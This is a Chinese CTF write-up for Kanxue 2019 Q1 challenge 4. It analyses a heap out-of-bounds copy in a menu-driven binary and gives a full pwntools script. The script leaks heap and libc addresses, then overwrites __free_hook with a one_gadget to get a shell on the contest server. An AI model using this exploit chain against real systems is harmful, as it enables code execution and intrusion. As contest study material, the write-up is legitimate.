-
-
看雪CTF2019Q1-第4题
-
2019-3-18 22:26 2380
-
checksec apwn
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
功能
puts("1.create singledog"); puts("2.create luckydog"); puts("3.edit singledog"); puts("4.edit luckydog"); puts("5.save singledog"); puts("6.exit"); puts(">>");
相关结构
struct single { char name[32]; }; struct luckydog { single *partner; char name[24]; }; single g_singles[80]; luckydog g_doubles[80];
edit singledog(只有这个有输出)
if ( g_singles[i] ) { read(0, g_singles[i], 0x20uLL); printf("new name: %s", g_singles[i]); }
edit_luckydog
if ( g_doubles[i] ) { puts("Oh,luckydog,What is your new name?"); read(0, g_doubles[i]->name, 0x18uLL); puts("your partner's new name"); read(0, g_doubles[i]->partner, 0x20uLL); }
save_singledog, 这里single_num为80的时候, 会越界复制
i1 = rand() % lucky_num; i2 = rand() % single_num; printf("luckydog %d save singledog%d!\n", i1, i2); lucky_dog = g_doubles[i1]; single_dog = g_singles[i2]; free(lucky_dog->partner); lucky_dog->partner = single_dog; for ( i = i2; i < single_num; ++i ) g_singles[i] = g_singles[i + 1]; --single_num;
利用思路
1. leak堆地址
2. leak libc地址: 构造fake_chunk(因为开启了tcache, 大小必须>0x400)并free
3. one_gadget覆盖free_hook得到shell
利用脚本(根据堆偏移可知服务器开启了tcache)
from pwn import * target_file = './apwn' # target_file = './linux_server64' # context.log_level = 'debug' context.binary = target_file elf = ELF(target_file) if args['REMOTE']: libc_path = '/lib/x86_64-linux-gnu/libc.so.6' libc = ELF(libc_path) heap_start_offset = 0x250 # tcache main_arena_top = libc.symbols['__malloc_hook'] + 0x70 one_gadget = 0x4f322 else: libc_path = '/lib/x86_64-linux-gnu/libc.so.6' libc = ELF(libc_path) heap_start_offset = 0x250 + 0x410 # tcache+buf main_arena_top = libc.symbols['__malloc_hook'] + 0x70 one_gadget = 0x4f322 if args['REMOTE']: io = remote('211.159.175.39', 8686) else: io = process([ target_file ]) print('libc: %x' % io.libc.address) def x_single_dog(name): io.sendlineafter('>>', '1') io.sendafter('Name:', name) return def x_lucky_dog(name1, name2): io.sendlineafter('>>', '2') io.sendafter('Name', name1) io.sendafter('your partner\'s name', name2) return def x_edit_single_dog(i, name): io.sendlineafter('>>', '3') io.sendlineafter('which?', str(i)) io.sendafter('good luck.', name) io.recvuntil('new name: ') buf = io.recvuntil('1.create singledog', drop=True) return buf def x_edit_lucky_dog(i, name1, name2): io.sendlineafter('>>', '4') io.sendlineafter('which?', str(i)) io.sendafter('new name?', name1) io.sendafter('new name', name2) return def x_save_single_dog(): io.sendlineafter('>>', '5') io.recvuntil('saved?\nluckydog ') i1 = int(io.recvuntil(' ', drop=True), 10) io.recvuntil('singledog') i2 = int(io.recvuntil('!', drop=True), 10) return i1, i2 def x_get_single_dog_offset(n): return 0x60 + 0x30 * n + 0x10 def x_read_v(index, offset, buf): buf = x_edit_single_dog(index, buf)[offset:] return u64(buf.ljust(8, '\x00')) def x_update_partner(buf): x_edit_single_dog(79, buf) return def x_free_partner(): _, i2 = x_save_single_dog() return i2 def test(): x_lucky_dog('l1', 'p1') for i in range(80): if args['REMOTE']: print('create single_dog %i' % i) x_single_dog('s%d' % i) _, partner_index = x_save_single_dog() print('partner: %d' % partner_index) heap_offset = x_get_single_dog_offset(partner_index) print('heap_offset: %x' % heap_offset) heap_addr = x_read_v(79, 0, p8(0x01)) print('heap_addr: %x' % heap_addr) heap_start = heap_addr - 0x01 + ((heap_start_offset + heap_offset) & 0xFF) - heap_offset print('heap_start: %x' % heap_start) # fake chunk(size > 0x400) to be freed x_edit_single_dog(0, p64(0) + p64(0x421)) # next chunk x_edit_single_dog(22, p64(0) + p64(0x21)) x_update_partner(p64(heap_start + x_get_single_dog_offset(0) + 0x10)) partner_index = x_free_partner() print('partner: %d' % partner_index) v = x_read_v(0, 16, 'A'*16) if v == 0: print('leak failed') io.close() return print('libc_addr: %x' % v) libc_base = v - main_arena_top print('libc_base: %x' % libc_base) x_update_partner(p64(libc_base + libc.symbols['__free_hook'])) x_edit_lucky_dog(0, 'a', p64(libc_base + one_gadget)) x_free_partner() io.interactive() return test()
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
赞赏
他的文章
KCTF2022春季赛 第三题 石像病毒
8193
KCTF2022春季赛 第二题 末日邀请
15312
KCTF2021秋季赛 第二题 迷失丛林
17834
KCTF2020秋季赛 第十题 终焉之战
8013
KCTF2020秋季赛 第九题 命悬一线
5759
看原图